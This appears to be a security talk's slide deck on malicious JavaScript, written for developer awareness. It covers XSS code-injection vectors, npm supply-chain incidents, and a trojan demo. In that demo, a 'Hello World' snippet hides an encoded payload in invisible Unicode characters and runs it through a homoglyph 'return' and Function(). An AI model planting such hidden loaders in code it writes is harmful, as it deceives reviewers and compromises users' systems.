Evil JavaScript
Evil JavaScript
An overview of malicious JS code and common JS attack vectors
Disclaimers
It is not a rant about JavaScript
I'm not a DevSec expert
I'm not a evil hacker
see, I have a white hat on pp
What this talk is about
Danger awareness
Risk management
Regrets
Code Injection
vectors in JavaScript
Dynamic code evaluation
eval is evil
var name = prompt("What's your name ?")
eval("alert('Hello " + name + " !') ")
Dynamic code evaluation
Think you are safe without eval ?
// setTimeout and setInterval
setTimeout('alert("evil")', 100)
setInterval('alert("evil")', 100);
// Function constructor
( new Function('alert("evil")') )();
// script tag insert
var script = 'script>';
document.write('<' + script + 'alert("evil")</' + script)
// Data URI
window.location='data:text/javascript,'+encodeURIComponent('alert("evil")');
// HTML event handlers
element.onmouseover='alert("evil")'
many more on https://html5sec.org/
Some people tried to prevent XSS by scanning and sanitizing code. They called it "XSS filters".
Don't use them. XSS filters only gives you an illusion of security, and only exist to be bypassed by Gareth Heyes
XSS Filters are so weak
you can accidentally bypass them without knowing it
featuring
Breaking news
This is possible by using 2 breaches in jQuery UI widgets:
$.datepicker.dpDiv[0] instanceof HTMLElement
$.Widget._childConstructors[7]._proto.options.position.of === window
Risk management
- Content Security Policy 3
- OWASP XSS Prevention cheat sheet on every desk
Regret ?
XSS filters are a lie...
Why do I still use server-side templates ?
Did I really need to set .innerHTML here ?
I should not have sticked with Angular 1...
Can't break through ?
Let the developer do it for you
JS developers are dangerous
Lack of proficiency
JavaScript devs that are either amateurs
or pros that don't use it as their main language
Reliance on external code
Most of JavaScript code on a website
is not written by the devs of this website:
either dependencies or copy-pasted
The Rabbit Hole
leftpad controversy - March 2016
One developer broke Node, Babel and thousands of projects by unpublishing a module called leftpad.
NPM had to un-un-publish it, against the wishes of its author. This is leftpad source code:
Famous NPM incidents
module.exports = function leftpad (str, len, ch) {
str = String(str);
var i = -1;
if (!ch && ch !== 0) ch = ' ';
len = len – str.length;
while (++i < len) {
str = ch + str;
}
return str;
}
eventstream malware - November 2018
The attacker
- found a popular and not maintained package
- offered to maintain the library after a few pull requests
- was granted publish rights by the original maintainer
- published a new version with a new dependency
containing malicious code used to steal Bitcoin
Famous NPM incidents
Risk management
-
npm audits
-
Dependency Track
contact:
Nourredine Khadri
This is not a tooling issue,
nor a trust issue.
Neither the platform's fault.
JavaScript has a
scale
problem
Average JS size per webpage is 350kB, ~10x more than in 2010.
Most of this code is external
Most used language in the world = largest attack surface
So do yourself a favor and
do a npm diet
Regret.
Internalizing code
does not help
(actually it's worse)
Block StackOverflow in an IT company proxy and watch the world burn
- True Evil
What's the trick ?
Did you know
Unicode had
invisible,
zero-width characters ?
It is possible to make zero-width characters in Unicode with the Variation Selectors, used to get glyph variants of a preceding character.
Without any preceding character, they are invisible !
Variation Selectors:
FE00 - FE0F
(16 chars, 2 bytes)
UTF-16 surrogates = 16x bigger range of characters !
using a High and a Low surrogate on 4 bytes
Variation Selectors
Supplement:
E0100 - E01EF
(240 chars, 4 bytes)
Codepoint = 10000₁₆ + (H - D800₁₆) × 400₁₆ + (L - DC00₁₆)
\uDB40\uDD61 = 10000 + 340x400 + 161 = E0161
In the Variation Selectors Supplement Block, most are not used yet,
so they are invisible even when combined with previous characters !
Back to our StackOverflow bad guy...
What if we add
syntax highlighting ?
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
What if we add
syntax highlighting ?
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
See, this is not a comment line like the 3 lines before
I put a zero-width Unicode character between those slashes,
and now it is a regular expression !
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
I want to execute malicous code on this line now, but I need to end the RegExp instruction. Here I used a divide / operator followed by this; an existing keyword in JS disguised as comment
/󠅡/ + (code)
/󠅡/ - (code)
/󠅡/ * (code)
/󠅡/ [ (code) ]
/󠅡// (code)
this pattern confuse many syntax highlighters
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
return is a reserved keyword in JavaScript, and cannot be reassigned
At this point, the dev should be convinced this is a harmless comment
Except...
This return used the cyrillic "e", which is indistinguishable from the Latin one.
Different code points = different JS identifiers
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
The same fake return is used here and call this function as a
tagged template literal, another little known JS feature
When faking keywords like return, this kind of function call is very hard to notice even for experienced JS developers.
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
This should bring your attention if you remember the first slides...
This is a dynamic code evaluation pattern
But to evaluate what code ?
Function("alert('evil')")()
/// Hello World in JavaScript
/// NOTE: If you have a bug with character encoding, you should use
/󠅡// this; rеturn = ([𐕰])=>{Function(unescape(escape(𐕰).replace(/u.{8}/g,'')))()}
function hello(who){
rеturn `󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅢󠅯󠅤󠅹󠄮󠅩󠅮󠅮󠅥󠅲󠅈󠅔󠅍󠅌󠄠󠄽󠄠󠄧󠄼󠅤󠅩󠅶󠄠󠅳󠅴󠅹󠅬󠅥󠄽󠄢󠅦󠅯󠅮󠅴󠄭󠅳󠅩󠅺󠅥󠄺󠄹󠄹󠄹󠄥󠄻󠅣󠅯󠅬󠅯󠅲󠄺󠅲󠅥󠅤󠄻󠄢󠄾󠄰󠅷󠅎󠅥󠅄󠄠󠅢󠅙󠄠󠅈󠄴󠅣󠅫󠄳󠅲󠅚󠄠󠄠󠄼󠄯󠅤󠅩󠅶󠄾󠄧󠄻󠄊Hello ${who} !`
}
hello("world")
escape(f).replace(/u.{8}/g,'')
%uDB40%uDD61 → %u61 = "a"
The danger
- Attack from the inside, trojan-like
- Easy and wide target (Stack Overflow newbie question)
- Exploit the target through their lack of knowledge
and bad tooling (linters, highlighters...) - Separate malicious payload from execution point
This is just a Hello World !
- Real cases are much more complex, intricate and vicious
- Can be combined with social hacking or online surveillance to attack precise targets
- Can happen in any of your dependencies codebase
Risk management
- Code reviews
- Dependency updates and audits
- Use good tooling (IDE, linters)
- Dedicated training for security issues awareness
The not-so-good solutions
- Avoid UTF-8 for JS files encoding
→ not convenient - Rely on a framework built-in security features
-
Use an external tool like a XSS filter
→ not good enough, illusion of security
Regret...
Thanks ! and... good luck !
Evil JavaScript
By sylvainpv
Evil JavaScript
An overview of malicious JS code and common JS attack vectors
- 2,289